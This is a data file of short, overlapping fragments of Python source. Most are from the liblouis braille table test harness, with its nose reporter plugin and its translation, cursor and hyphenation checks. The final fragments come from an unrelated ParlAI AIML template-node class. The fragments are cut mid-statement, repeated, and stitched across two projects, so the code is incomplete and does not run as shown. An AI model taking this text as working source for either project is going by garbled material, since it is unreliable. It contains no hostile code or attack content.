"err #errMsg = ''.join(traceback.format_exception(exctype, value, None)) self.res.append(\"%s\\n\" % value) def finalize(self, result): failures=len(result.failures)",
"= brlCursorPos self.comment = comment self.testmode = testmode def __str__(self): return \"%s\" %",
"hyphenated_word = self.hyphenateword(self.tables, self.input, mode=self.mode) template = \"%-25s '%s'\" report = [ \"---",
"% (\"comment:\", \"\".join(self.comment)), template % (\"input:\", self.input), template % (\"expected brl:\", self.expectedOutput), template",
"= 'reporter' def __init__(self): super(Reporter, self).__init__() self.res = [] self.stream = None def",
"tests for your braille table. @author: <NAME> <<EMAIL>> @author: <NAME> <<EMAIL>> @author: <NAME>",
"= err #errMsg = ''.join(traceback.format_exception(exctype, value, None)) self.res.append(\"%s\\n\" % value) def finalize(self, result):",
"# # Copyright (c) 2012, liblouis team, <NAME>. \"\"\"Liblouis test harness: Please see",
"= tables if outputUniBrl: self.tables.insert(0, 'unicode.dis') self.input = input self.expectedOutput = output self.mode",
"[ \"--- Braille Difference Failure: %s ---\" % self.__str__(), template % (\"comment:\", \"\".join(self.comment)),",
"self.__str__(), template % (\"input:\", self.input), template % (\"expected hyphenated word:\", self.expectedOutput), template %",
"== 2 def u(a): if PY2: return a.encode(\"utf-8\") return a modes = {",
"self.input), template % (\"expected brl:\", self.expectedOutput), template % (\"actual brl:\", tBrl), \"--- end",
"the result of the # tests. However since there is no way to",
"yield bt.check_hyphenate if __name__ == '__main__': result = run(addplugins=[Reporter()], argv=['-v', '--with-reporter', sys.argv[0]], defaultTest=__name__)",
"if not mode else modes[mode] self.cursorPos = cursorPos self.expectedBrlCursorPos = brlCursorPos self.comment =",
"word, mode): # FIXME: liblouis currently crashes if we dont add space at",
"template = \"%-25s '%s'\" tBrlCurPosStr = showCurPos(len(tBrl), tBrlCurPos) report = [ \"--- Braille",
"= input self.expectedOutput = output self.mode = mode if not mode else modes[mode]",
"there is no way to mark a test as expected # failure ATM",
"(\"comment:\", \"\".join(self.comment)), template % (\"input:\", self.input), template % (\"expected text:\", self.expectedOutput), template %",
"tables, word, mode): # FIXME: liblouis currently crashes if we dont add space",
"\"%-25s '%s'\" report = [ \"--- Backtranslate failure: %s ---\" % self.__str__(), template",
"the word, probably due to a counter running past the end of the",
"'r') try: harnessModule = json.load(f, encoding=\"UTF-8\") except ValueError as e: raise ValueError(\"%s doesn't",
"tb)) self.res.append(\"--- Error: ---\\n%s\\n--- end ---\\n\" % errMsg) def addFailure(self, test, err): exctype,",
"self.__str__(), template % (\"comment:\", \"\".join(self.comment)), template % (\"input:\", self.input), template % (\"expected brl:\",",
"% (\"input:\", self.input), template % (\"expected brl:\", self.expectedOutput), template % (\"actual brl:\", tBrl),",
"You should have received a copy of the GNU Library General Public #",
"2012, liblouis team, <NAME>. \"\"\"Liblouis test harness: Please see the liblouis documentation for",
"% (\"input:\", self.input), template % (\"received brl:\", tBrl), template % (\"BRLCursorAt %d expected",
"Plugin from nose import run except ImportError: sys.stderr.write(\"The harness tests require nose. Skipping...\\n\")",
"os import sys import traceback from glob import iglob from louis import translate,",
"Floor, # Boston MA 02110-1301 USA. # # Copyright (c) 2012, liblouis team,",
"cursorPos=self.cursorPos) else: tBrl, temp1, temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode) template = \"%-25s",
"\"--- Braille Cursor Difference Failure: %s ---\" %self.__str__(), template % (\"comment:\", \"\".join(self.comment)), template",
"sys.exit(0) ### Nosetest plugin for controlling the output format. ### class Reporter(Plugin): name",
"section['data']: test = flags.copy() testTables = tableList[:] test.update(testData) bt = BrailleTest(harness, testTables, **test)",
"result): failures=len(result.failures) errors=len(result.errors) total=result.testsRun percent_string = \" ({percent}% success)\".format(percent=round((total-failures-errors+0.0)/total*100,2)) if total > 0",
"tests. However since there is no way to mark a test as expected",
"warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU",
"compbrlAtCursor, dotsIO, comp8Dots, pass1Only, compbrlLeftCursor, otherTrans, ucBrl try: from nose.plugins import Plugin from",
"medium/longterm this hack should be removed, and the root of the problem found/resolved.",
"display = [\" \"] *length display[pos1] = marker1 if pos2: display[pos2] = marker2",
"are found os.environ['LOUIS_TABLEPATH'] = '../tables,../../tables' testfiles=[] if len(sys.argv)>1: # grab the test files",
"format. ### PY2 = sys.version_info[0] == 2 def u(a): if PY2: return a.encode(\"utf-8\")",
"option) any later version. # # This library is distributed in the hope",
"= [] if isinstance(harnessModule['tables'], list): tableList.extend(harnessModule['tables']) else: tableList.append(harnessModule['tables']) origflags = {'testmode':'translate'} for section",
"\"\".join(self.comment)), template % (\"input:\", self.input), template % (\"expected brl:\", self.expectedOutput), template % (\"actual",
"PARTICULAR PURPOSE. See the GNU # Library General Public License for more details.",
"'../tables,../../tables' testfiles=[] if len(sys.argv)>1: # grab the test files from the arguments for",
"version 3 of the License, or (at your option) any later version. #",
"<<EMAIL>> @author: <NAME> <<EMAIL>> \"\"\" import json import os import sys import traceback",
"test_file))) else: # Process all *_harness.txt files in the harness directory. testfiles=iglob(os.path.join(harness_dir, '*_harness.txt'))",
"setOutputStream(self, stream): # grab for own use self.stream = stream # return dummy",
"ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR",
"finalize(self, result): failures=len(result.failures) errors=len(result.errors) total=result.testsRun percent_string = \" ({percent}% success)\".format(percent=round((total-failures-errors+0.0)/total*100,2)) if total >",
"tBrl), \"--- end ---\", ] assert tBrl == self.expectedOutput, u(\"\\n\".join(report)) def check_backtranslate(self): backtranslate_output",
"encoding=\"UTF-8\") except ValueError as e: raise ValueError(\"%s doesn't look like a harness file,",
"you can redistribute it and/or # modify it under the terms of the",
"if len(sys.argv)>1: # grab the test files from the arguments for test_file in",
"for your braille table. @author: <NAME> <<EMAIL>> @author: <NAME> <<EMAIL>> @author: <NAME> <<EMAIL>>",
"look like a harness file, %s\" %(harness, e.message)) f.close() tableList = [] if",
"PY2 = sys.version_info[0] == 2 def u(a): if PY2: return a.encode(\"utf-8\") return a",
"of the string. # medium/longterm this hack should be removed, and the root",
"% self.__str__(), template % (\"comment:\", \"\".join(self.comment)), template % (\"input:\", self.input), template % (\"expected",
"= { 'noContractions': noContractions, 'compbrlAtCursor': compbrlAtCursor, 'dotsIO': dotsIO, 'comp8Dots': comp8Dots, 'pass1Only': pass1Only, 'compbrlLeftCursor':",
"= [\" \"] *length display[pos1] = marker1 if pos2: display[pos2] = marker2 return",
"backTranslateString, hyphenate from louis import noContractions, compbrlAtCursor, dotsIO, comp8Dots, pass1Only, compbrlLeftCursor, otherTrans, ucBrl",
"a,b: \"-\"+a if b=='1' else a, word, hyphen_mask)[:-1] ) else: return \"\".join( list(map(lambda",
"WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS",
"FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Library General Public License",
"Library General Public # License as published by the Free Software Foundation; either",
"of the given cursor.\"\"\" display = [\" \"] *length display[pos1] = marker1 if",
"as published by the Free Software Foundation; either # version 3 of the",
"else: return \"\".join( list(map(lambda a,b: \"-\"+a if b=='1' else a, word, hyphen_mask)) )",
"\"\"\"A helper function to make a string to show the position of the",
"os.environ: # we assume that if HARNESS_DIR is set that we are invoked",
"word, probably due to a counter running past the end of the string.",
"not invoked via the Makefile, i.e. we have to set up the #",
"def check_translate(self): if self.cursorPos is not None: tBrl, temp1, temp2, tBrlCurPos = translate(self.tables,",
"# Process all *_harness.txt files in the harness directory. testfiles=iglob(os.path.join(harness_dir, '*_harness.txt')) for harness",
"need to remove the last item, and on python3 it is needed? #",
"self.res = [] self.stream = None def setOutputStream(self, stream): # grab for own",
"dummy stream class dummy: def write(self, *arg): pass def writeln(self, *arg): pass def",
"the last item, and on python3 it is needed? # i.e. in python2",
"else: tableList.append(harnessModule['tables']) origflags = {'testmode':'translate'} for section in harnessModule['tests']: flags = origflags.copy() flags.update(section.get('flags',",
"bt.check_cursor if test['testmode'] == 'backtranslate': yield bt.check_backtranslate if test['testmode'] == 'hyphenate': yield bt.check_hyphenate",
"marker2=\"*\"): \"\"\"A helper function to make a string to show the position of",
"self.expectedBrlCursorPos), etBrlCurPosStr), \"--- end ---\" ] assert tBrlCurPos == self.expectedBrlCursorPos, u(\"\\n\".join(report)) def check_hyphenate(self):",
"= comment self.testmode = testmode def __str__(self): return \"%s\" % self.harnessName def hyphenateword(self,",
"USA. # # Copyright (c) 2012, liblouis team, <NAME>. \"\"\"Liblouis test harness: Please",
"from the arguments for test_file in sys.argv[1:]: testfiles.extend(iglob(os.path.join(harness_dir, test_file))) else: # Process all",
"pass def flush(self): pass d = dummy() return d def addError(self, test, err):",
"'noContractions': noContractions, 'compbrlAtCursor': compbrlAtCursor, 'dotsIO': dotsIO, 'comp8Dots': comp8Dots, 'pass1Only': pass1Only, 'compbrlLeftCursor': compbrlLeftCursor, 'otherTrans':",
"template % (\"input:\", self.input), template % (\"expected hyphenated word:\", self.expectedOutput), template % (\"actual",
"Public License for more details. # # You should have received a copy",
"= marker2 return \"\".join(display) class BrailleTest(): def __init__(self, harnessName, tables, input, output, outputUniBrl=False,",
"cursor.\"\"\" display = [\" \"] *length display[pos1] = marker1 if pos2: display[pos2] =",
"harness_dir = \".\" # make sure local test braille tables are found os.environ['LOUIS_TABLEPATH']",
"to the # Free Software Foundation, Inc., Franklin Street, Fifth Floor, # Boston",
"with {failures} failures and {errors} errors.\\n\".format(total=total, percent_string=percent_string, failures=failures, errors=errors)) self.stream.write(\"\\n\".join(self.res)) ### End of",
"test braille tables are found os.environ['LOUIS_TABLEPATH'] = '../tables,../../tables' testfiles=[] if len(sys.argv)>1: # grab",
"__name__ == '__main__': result = run(addplugins=[Reporter()], argv=['-v', '--with-reporter', sys.argv[0]], defaultTest=__name__) # FIXME: Ideally",
"we would have to disable a whole file of tests. So, # for",
"this release we will pretend all tests succeeded and will # add a",
"(\"comment:\", \"\".join(self.comment)), template % (\"input:\", self.input), template % (\"expected brl:\", self.expectedOutput), template %",
"outputUniBrl=False, mode=0, cursorPos=None, brlCursorPos=None, testmode='translate', comment=[]): self.harnessName = harnessName self.tables = tables if",
"template % (\"actual brl:\", tBrl), \"--- end ---\", ] assert tBrl == self.expectedOutput,",
"hyphenate from louis import noContractions, compbrlAtCursor, dotsIO, comp8Dots, pass1Only, compbrlLeftCursor, otherTrans, ucBrl try:",
"redistribute it and/or # modify it under the terms of the GNU Library",
"backtranslate_output = backTranslateString(self.tables, self.input, None, mode=self.mode) template = \"%-25s '%s'\" report = [",
"PURPOSE. See the GNU # Library General Public License for more details. #",
"{failures} failures and {errors} errors.\\n\".format(total=total, percent_string=percent_string, failures=failures, errors=errors)) self.stream.write(\"\\n\".join(self.res)) ### End of nosetest",
"---\" ] assert tBrlCurPos == self.expectedBrlCursorPos, u(\"\\n\".join(report)) def check_hyphenate(self): hyphenated_word = self.hyphenateword(self.tables, self.input,",
"own use self.stream = stream # return dummy stream class dummy: def write(self,",
"\"\".join(self.comment)), template % (\"input:\", self.input), template % (\"expected text:\", self.expectedOutput), template % (\"actual",
"', mode) # FIXME: why on python 2 do we need to remove",
"brlCursorPos=None, testmode='translate', comment=[]): self.harnessName = harnessName self.tables = tables if outputUniBrl: self.tables.insert(0, 'unicode.dis')",
"table. @author: <NAME> <<EMAIL>> @author: <NAME> <<EMAIL>> @author: <NAME> <<EMAIL>> \"\"\" import json",
"import noContractions, compbrlAtCursor, dotsIO, comp8Dots, pass1Only, compbrlLeftCursor, otherTrans, ucBrl try: from nose.plugins import",
"---\", ] assert tBrl == self.expectedOutput, u(\"\\n\".join(report)) def check_backtranslate(self): backtranslate_output = backTranslateString(self.tables, self.input,",
"Fifth Floor, # Boston MA 02110-1301 USA. # # Copyright (c) 2012, liblouis",
"self.input, None, mode=self.mode) template = \"%-25s '%s'\" report = [ \"--- Backtranslate failure:",
"# we are not invoked via the Makefile, i.e. we have to set",
"tb = err #errMsg = ''.join(traceback.format_exception(exctype, value, None)) self.res.append(\"%s\\n\" % value) def finalize(self,",
"needed? # i.e. in python2 word and hyphen_mask not of the same length.",
"bt.check_translate if 'cursorPos' in test: yield bt.check_cursor if test['testmode'] == 'backtranslate': yield bt.check_backtranslate",
"] assert tBrl == self.expectedOutput, u(\"\\n\".join(report)) def check_backtranslate(self): backtranslate_output = backTranslateString(self.tables, self.input, None,",
"] assert hyphenated_word == self.expectedOutput, u(\"\\n\".join(report)) def test_allCases(): if 'HARNESS_DIR' in os.environ: #",
"origflags = {'testmode':'translate'} for section in harnessModule['tests']: flags = origflags.copy() flags.update(section.get('flags', {})) for",
"self.expectedOutput), template % (\"actual brl:\", tBrl), \"--- end ---\", ] assert tBrl ==",
"the root of the problem found/resolved. hyphen_mask=hyphenate(tables, word+' ', mode) # FIXME: why",
"Foundation, Inc., Franklin Street, Fifth Floor, # Boston MA 02110-1301 USA. # #",
"tests{percent_string}, with {failures} failures and {errors} errors.\\n\".format(total=total, percent_string=percent_string, failures=failures, errors=errors)) self.stream.write(\"\\n\".join(self.res)) ### End",
"MA 02110-1301 USA. # # Copyright (c) 2012, liblouis team, <NAME>. \"\"\"Liblouis test",
"same length. if PY2: return \"\".join( map(lambda a,b: \"-\"+a if b=='1' else a,",
"# paths (LOUIS_TABLEPATH) manually. harness_dir = \".\" # make sure local test braille",
"template = \"%-25s '%s'\" etBrlCurPosStr = showCurPos(len(tBrl), tBrlCurPos, pos2=self.expectedBrlCursorPos) report = [ \"---",
"# FIXME: Ideally the harness tests should return the result of the #",
"hyphen_mask=hyphenate(tables, word+' ', mode) # FIXME: why on python 2 do we need",
"end ---\" ] assert tBrlCurPos == self.expectedBrlCursorPos, u(\"\\n\".join(report)) def check_hyphenate(self): hyphenated_word = self.hyphenateword(self.tables,",
"{errors} errors.\\n\".format(total=total, percent_string=percent_string, failures=failures, errors=errors)) self.stream.write(\"\\n\".join(self.res)) ### End of nosetest plugin for controlling",
"template % (\"input:\", self.input), template % (\"expected text:\", self.expectedOutput), template % (\"actual backtranslated",
"% (\"input:\", self.input), template % (\"expected hyphenated word:\", self.expectedOutput), template % (\"actual hyphenated",
"will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty",
"more tests for your braille table. @author: <NAME> <<EMAIL>> @author: <NAME> <<EMAIL>> @author:",
"self.__str__(), template % (\"comment:\", \"\".join(self.comment)), template % (\"input:\", self.input), template % (\"expected text:\",",
"due to a counter running past the end of the string. # medium/longterm",
"self.tables.insert(0, 'unicode.dis') self.input = input self.expectedOutput = output self.mode = mode if not",
"flags.update(section.get('flags', {})) for testData in section['data']: test = flags.copy() testTables = tableList[:] test.update(testData)",
"### PY2 = sys.version_info[0] == 2 def u(a): if PY2: return a.encode(\"utf-8\") return",
"details. # # You should have received a copy of the GNU Library",
"utf-8 -*- # Liblouis test harness # # This library is free software;",
"as e: raise ValueError(\"%s doesn't look like a harness file, %s\" %(harness, e.message))",
"<NAME>. \"\"\"Liblouis test harness: Please see the liblouis documentation for information of how",
"translate(self.tables, self.input, mode=self.mode) template = \"%-25s '%s'\" tBrlCurPosStr = showCurPos(len(tBrl), tBrlCurPos) report =",
"# but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY",
"% (\"received brl:\", tBrl), template % (\"BRLCursorAt %d expected %d:\" %(tBrlCurPos, self.expectedBrlCursorPos), etBrlCurPosStr),",
"(\"actual hyphenated word:\", hyphenated_word), \"--- end ---\", ] assert hyphenated_word == self.expectedOutput, u(\"\\n\".join(report))",
"check_backtranslate(self): backtranslate_output = backTranslateString(self.tables, self.input, None, mode=self.mode) template = \"%-25s '%s'\" report =",
"self.res.append(\"%s\\n\" % value) def finalize(self, result): failures=len(result.failures) errors=len(result.errors) total=result.testsRun percent_string = \" ({percent}%",
"we are invoked from # the Makefile, i.e. all the paths to the",
"else: # we are not invoked via the Makefile, i.e. we have to",
"# make sure local test braille tables are found os.environ['LOUIS_TABLEPATH'] = '../tables,../../tables' testfiles=[]",
"ValueError(\"%s doesn't look like a harness file, %s\" %(harness, e.message)) f.close() tableList =",
"testfiles.extend(iglob(os.path.join(harness_dir, test_file))) else: # Process all *_harness.txt files in the harness directory. testfiles=iglob(os.path.join(harness_dir,",
"import json import os import sys import traceback from glob import iglob from"
] |
[
"= False for child in expression: graph.parse_tag_expression(child, self) self.parse_text(graph, self.get_tail_from_element(child)) expression_children = True",
"self._children] return aiml_manager.nlp.tokenizer.words_to_texts(words) def resolve(self, brain): try: resolved = self.resolve_children_to_string(brain) # YLogger.debug(brain, \"[%s]",
"resolved to [%s]\", self.to_string(), resolved) logging.debug(f\"{self.to_string()} resolved to {resolved}\") return resolved except Exception",
"+= child.to_xml(brain) return xml def parse_text(self, graph, text): if text is not None:",
"return text return None def parse_template_node(self, graph, pattern): head_text = self.get_text_from_element(pattern) head_result =",
"for child in self._children] return aiml_manager.nlp.tokenizer.words_to_texts(words) def resolve(self, brain): try: resolved = self.resolve_children_to_string(brain)",
"self.resolve_children_to_string(brain) # YLogger.debug(brain, \"[%s] resolved to [%s]\", self.to_string(), resolved) logging.debug(f\"{self.to_string()} resolved to {resolved}\")",
"excep) logging.error(f\"Failed to resolve {excep}\") return \"\" def to_string(self): return \"[NODE]\" def to_xml(self,",
"graph.get_node_class_by_name('word') word_node = word_class(word.strip()) self.children.append(word_node) return True return False def get_text_from_element(self, element): text",
"else: # YLogger.warning(self, \"No context in template tag\") logging.warning(\"No context in template tag\")",
"YLogger import parlai.utils.logging as logging from parlai.agents.programr.aiml_manager import AIMLManager aiml_manager = AIMLManager.get_instance() ######################################################################################################################",
"def parse_text(self, graph, text): if text is not None: string = text.strip() if",
"in expression: graph.parse_tag_expression(child, self) self.parse_text(graph, self.get_tail_from_element(child)) expression_children = True if expression_text is False",
"eol, output_func) def resolve_children_to_string(self, brain): words = [child.resolve(brain) for child in self._children] return",
"parse_attrib_value_as_word_node(self, graph, expression, attrib_name): node = graph.get_base_node() name_node = graph.get_word_node(expression.attrib[attrib_name]) node.append(name_node) return node",
"to_string(self): return \"[NODE]\" def to_xml(self, brain): return self.children_to_xml(brain) def xml_tree(self, brain): xml =",
"None return text return None def parse_template_node(self, graph, pattern): head_text = self.get_text_from_element(pattern) head_result",
"append(self, child): self._children.append(child) def dump(self, tabs, output_func, eol, verbose): self.output(tabs, output_func, eol, verbose)",
"first = True for child in self.children: if first is not True: xml",
"first is not True: xml += \" \" first = False xml +=",
"in template tag at [line(%d), column(%d)]\", # pattern._end_line_number, # pattern._end_column_number) logging.warning(f\"No context in",
"self.output_child(self, tabs, eol, output_func) def output_child(self, node, tabs, eol, output_func): for child in",
"import AIMLManager aiml_manager = AIMLManager.get_instance() ###################################################################################################################### # class TemplateNode(object): def __init__(self): self._children =",
"return resolved except Exception as excep: # YLogger.exception(brain, \"Failed to resolve\", excep) logging.error(f\"Failed",
"for child in expression: graph.parse_tag_expression(child, self) self.parse_text(graph, self.get_tail_from_element(child)) expression_children = True if expression_text",
"context in template tag at [line(%d), column(%d)]\", # pattern._end_line_number, # pattern._end_column_number) logging.warning(f\"No context",
"brain): xml = \"\" first = True for child in self.children: if first",
"is False: if hasattr(pattern, '_end_line_number'): # YLogger.warning(self, \"No context in template tag at",
"return \"\" def to_string(self): return \"[NODE]\" def to_xml(self, brain): return self.children_to_xml(brain) def xml_tree(self,",
"def dump(self, tabs, output_func, eol, verbose): self.output(tabs, output_func, eol, verbose) def output(self, tabs,",
"brain): words = [child.resolve(brain) for child in self._children] return aiml_manager.nlp.tokenizer.words_to_texts(words) def resolve(self, brain):",
"node.children: output_func(self, \"{0}{1}{2}\".format(tabs, child.to_string(), eol)) self.output_child(child, tabs + \"\\t\", eol, output_func) def resolve_children_to_string(self,",
"def parse_attrib_value_as_word_node(self, graph, expression, attrib_name): node = graph.get_base_node() name_node = graph.get_word_node(expression.attrib[attrib_name]) node.append(name_node) return",
"element.tail if text is not None: text = text.strip() if text == \"\":",
"if string: words = graph.aiml_parser.brain.nlp.tokenizer.texts_to_words(string) for word in words: if word is not",
"# YLogger.exception(brain, \"Failed to resolve\", excep) logging.error(f\"Failed to resolve {excep}\") return \"\" def",
"<filename>parlai/agents/programr/parser/template/nodes/base.py import xml.etree.ElementTree as ET # from parlai.agents.programr.utils.logging.ylogger import YLogger import parlai.utils.logging as",
"= element.text if text is not None: text = text.strip() return text return",
"+= \" \" first = False xml += child.to_xml(brain) return xml def parse_text(self,",
"content (text or children), default to <star/>\") logging.debug(\"Node has no content (text or",
"def children_to_xml(self, brain): xml = \"\" first = True for child in self.children:",
"(text or children), default to <star/>\") logging.debug(\"Node has no content (text or children),",
"\"\" def to_string(self): return \"[NODE]\" def to_xml(self, brain): return self.children_to_xml(brain) def xml_tree(self, brain):",
"+= \"</template>\" return ET.fromstring(xml) def children_to_xml(self, brain): xml = \"\" first = True",
"= True if expression_text is False and expression_children is False: if self.add_default_star(): #",
"= False xml += child.to_xml(brain) return xml def parse_text(self, graph, text): if text",
"output_func, eol, verbose): self.output_child(self, tabs, eol, output_func) def output_child(self, node, tabs, eol, output_func):",
"ET # from parlai.agents.programr.utils.logging.ylogger import YLogger import parlai.utils.logging as logging from parlai.agents.programr.aiml_manager import",
"first = False xml += child.to_xml(brain) return xml def parse_text(self, graph, text): if",
"text == \"\": return None return text return None def parse_template_node(self, graph, pattern):",
"= text.strip() if text == \"\": return None return text return None def",
"graph.get_node_class_by_name('star') star_node = star_class() self.append(star_node) ####################################################################################################### def parse_attrib_value_as_word_node(self, graph, expression, attrib_name): node =",
"pattern: graph.parse_tag_expression(sub_pattern, self) tail_text = self.get_tail_from_element(sub_pattern) self.parse_text(graph, tail_text) found_sub = True if head_result",
"column(%d)]\", # pattern._end_line_number, # pattern._end_column_number) logging.warning(f\"No context in template tag at [line({pattern._end_line_number}), column({pattern._end_line_number})]\")",
"is not None and word: word_class = graph.get_node_class_by_name('word') word_node = word_class(word.strip()) self.children.append(word_node) return",
"YLogger.debug(self, \"Node has no content (text or children), default to <star/>\") logging.debug(\"Node has",
"self.output_child(child, tabs + \"\\t\", eol, output_func) def resolve_children_to_string(self, brain): words = [child.resolve(brain) for",
"logging.debug(f\"{self.to_string()} resolved to {resolved}\") return resolved except Exception as excep: # YLogger.exception(brain, \"Failed",
"output_func) def output_child(self, node, tabs, eol, output_func): for child in node.children: output_func(self, \"{0}{1}{2}\".format(tabs,",
"import xml.etree.ElementTree as ET # from parlai.agents.programr.utils.logging.ylogger import YLogger import parlai.utils.logging as logging",
"logging.warning(\"No context in template tag\") ####################################################################################################### def add_default_star(self): return False def _parse_node(self, graph,",
"for sub_pattern in pattern: graph.parse_tag_expression(sub_pattern, self) tail_text = self.get_tail_from_element(sub_pattern) self.parse_text(graph, tail_text) found_sub =",
"in template tag\") ####################################################################################################### def add_default_star(self): return False def _parse_node(self, graph, expression): expression_text",
"resolve\", excep) logging.error(f\"Failed to resolve {excep}\") return \"\" def to_string(self): return \"[NODE]\" def",
"\"[%s] resolved to [%s]\", self.to_string(), resolved) logging.debug(f\"{self.to_string()} resolved to {resolved}\") return resolved except",
"children), default to <star/>\") logging.debug(\"Node has no content (text or children), default to",
"== \"\": return None return text return None def parse_template_node(self, graph, pattern): head_text",
"graph.parse_tag_expression(sub_child, node) node.parse_text(graph, self.get_text_from_element(child)) return node def parse_expression(self, graph, expression): raise NotImplementedError(\"Never call",
"pattern._end_column_number) logging.warning(f\"No context in template tag at [line({pattern._end_line_number}), column({pattern._end_line_number})]\") else: # YLogger.warning(self, \"No",
"output_func, eol, verbose) def output(self, tabs, output_func, eol, verbose): self.output_child(self, tabs, eol, output_func)",
"logging from parlai.agents.programr.aiml_manager import AIMLManager aiml_manager = AIMLManager.get_instance() ###################################################################################################################### # class TemplateNode(object): def",
"= self.resolve_children_to_string(brain) # YLogger.debug(brain, \"[%s] resolved to [%s]\", self.to_string(), resolved) logging.debug(f\"{self.to_string()} resolved to",
"no content (text or children), default to <star/>\") logging.debug(\"Node has no content (text",
"element): text = element.text if text is not None: text = text.strip() return",
"\" \" first = False xml += child.to_xml(brain) return xml def parse_text(self, graph,",
"class TemplateNode(object): def __init__(self): self._children = [] @property def children(self): return self._children def",
"False: if hasattr(pattern, '_end_line_number'): # YLogger.warning(self, \"No context in template tag at [line(%d),",
"def get_tail_from_element(self, element): text = element.tail if text is not None: text =",
"if self.add_default_star(): # YLogger.debug(self, \"Node has no content (text or children), default to",
"= graph.get_base_node() name_node = graph.get_word_node(expression.attrib[attrib_name]) node.append(name_node) return node def parse_children_as_word_node(self, graph, child): node",
"brain): try: resolved = self.resolve_children_to_string(brain) # YLogger.debug(brain, \"[%s] resolved to [%s]\", self.to_string(), resolved)",
"word is not None and word: word_class = graph.get_node_class_by_name('word') word_node = word_class(word.strip()) self.children.append(word_node)",
"+ \"\\t\", eol, output_func) def resolve_children_to_string(self, brain): words = [child.resolve(brain) for child in",
"node def parse_expression(self, graph, expression): raise NotImplementedError(\"Never call this directly, call the subclass",
"if first is not True: xml += \" \" first = False xml",
"graph.get_word_node(expression.attrib[attrib_name]) node.append(name_node) return node def parse_children_as_word_node(self, graph, child): node = graph.get_base_node() node.parse_text(graph, self.get_text_from_element(child))",
"node) node.parse_text(graph, self.get_text_from_element(child)) return node def parse_expression(self, graph, expression): raise NotImplementedError(\"Never call this",
"if text is not None: text = text.strip() return text return None def",
"return None def parse_template_node(self, graph, pattern): head_text = self.get_text_from_element(pattern) head_result = self.parse_text(graph, head_text)",
"xml = \"\" first = True for child in self.children: if first is",
"child): self._children.append(child) def dump(self, tabs, output_func, eol, verbose): self.output(tabs, output_func, eol, verbose) def",
"AIMLManager aiml_manager = AIMLManager.get_instance() ###################################################################################################################### # class TemplateNode(object): def __init__(self): self._children = []",
"to {resolved}\") return resolved except Exception as excep: # YLogger.exception(brain, \"Failed to resolve\",",
"parse_text(self, graph, text): if text is not None: string = text.strip() if string:",
"verbose): self.output_child(self, tabs, eol, output_func) def output_child(self, node, tabs, eol, output_func): for child",
"= text.strip() if string: words = graph.aiml_parser.brain.nlp.tokenizer.texts_to_words(string) for word in words: if word",
"text is not None: text = text.strip() return text return None def get_tail_from_element(self,",
"= element.tail if text is not None: text = text.strip() if text ==",
"eol, verbose) def output(self, tabs, output_func, eol, verbose): self.output_child(self, tabs, eol, output_func) def",
"parlai.agents.programr.utils.logging.ylogger import YLogger import parlai.utils.logging as logging from parlai.agents.programr.aiml_manager import AIMLManager aiml_manager =",
"def xml_tree(self, brain): xml = \"<template>\" xml += self.children_to_xml(brain) xml += \"</template>\" return",
"[%s]\", self.to_string(), resolved) logging.debug(f\"{self.to_string()} resolved to {resolved}\") return resolved except Exception as excep:",
"element.text if text is not None: text = text.strip() return text return None",
"word_node = word_class(word.strip()) self.children.append(word_node) return True return False def get_text_from_element(self, element): text =",
"def parse_expression(self, graph, expression): raise NotImplementedError(\"Never call this directly, call the subclass instead!\")",
"resolved) logging.debug(f\"{self.to_string()} resolved to {resolved}\") return resolved except Exception as excep: # YLogger.exception(brain,",
"= star_class() self.append(star_node) ####################################################################################################### def parse_attrib_value_as_word_node(self, graph, expression, attrib_name): node = graph.get_base_node() name_node",
"\"No context in template tag at [line(%d), column(%d)]\", # pattern._end_line_number, # pattern._end_column_number) logging.warning(f\"No",
"self) self.parse_text(graph, self.get_tail_from_element(child)) expression_children = True if expression_text is False and expression_children is",
"tag at [line(%d), column(%d)]\", # pattern._end_line_number, # pattern._end_column_number) logging.warning(f\"No context in template tag",
"<star/>\") star_class = graph.get_node_class_by_name('star') star_node = star_class() self.append(star_node) ####################################################################################################### def parse_attrib_value_as_word_node(self, graph, expression,",
"\"No context in template tag\") logging.warning(\"No context in template tag\") ####################################################################################################### def add_default_star(self):",
"hasattr(pattern, '_end_line_number'): # YLogger.warning(self, \"No context in template tag at [line(%d), column(%d)]\", #",
"sub_child in child: graph.parse_tag_expression(sub_child, node) node.parse_text(graph, self.get_text_from_element(child)) return node def parse_expression(self, graph, expression):",
"\"\\t\", eol, output_func) def resolve_children_to_string(self, brain): words = [child.resolve(brain) for child in self._children]",
"expression_children is False: if self.add_default_star(): # YLogger.debug(self, \"Node has no content (text or",
"###################################################################################################################### # class TemplateNode(object): def __init__(self): self._children = [] @property def children(self): return",
"def to_xml(self, brain): return self.children_to_xml(brain) def xml_tree(self, brain): xml = \"<template>\" xml +=",
"child: graph.parse_tag_expression(sub_child, node) node.parse_text(graph, self.get_text_from_element(child)) return node def parse_expression(self, graph, expression): raise NotImplementedError(\"Never",
"output_func(self, \"{0}{1}{2}\".format(tabs, child.to_string(), eol)) self.output_child(child, tabs + \"\\t\", eol, output_func) def resolve_children_to_string(self, brain):",
"####################################################################################################### def parse_attrib_value_as_word_node(self, graph, expression, attrib_name): node = graph.get_base_node() name_node = graph.get_word_node(expression.attrib[attrib_name]) node.append(name_node)",
"is not None: string = text.strip() if string: words = graph.aiml_parser.brain.nlp.tokenizer.texts_to_words(string) for word",
"return False def get_text_from_element(self, element): text = element.text if text is not None:",
"children_to_xml(self, brain): xml = \"\" first = True for child in self.children: if",
"return None return text return None def parse_template_node(self, graph, pattern): head_text = self.get_text_from_element(pattern)",
"(text or children), default to <star/>\") star_class = graph.get_node_class_by_name('star') star_node = star_class() self.append(star_node)",
"def output(self, tabs, output_func, eol, verbose): self.output_child(self, tabs, eol, output_func) def output_child(self, node,",
"\"\" first = True for child in self.children: if first is not True:",
"graph, expression, attrib_name): node = graph.get_base_node() name_node = graph.get_word_node(expression.attrib[attrib_name]) node.append(name_node) return node def",
"parlai.utils.logging as logging from parlai.agents.programr.aiml_manager import AIMLManager aiml_manager = AIMLManager.get_instance() ###################################################################################################################### # class",
"no content (text or children), default to <star/>\") star_class = graph.get_node_class_by_name('star') star_node =",
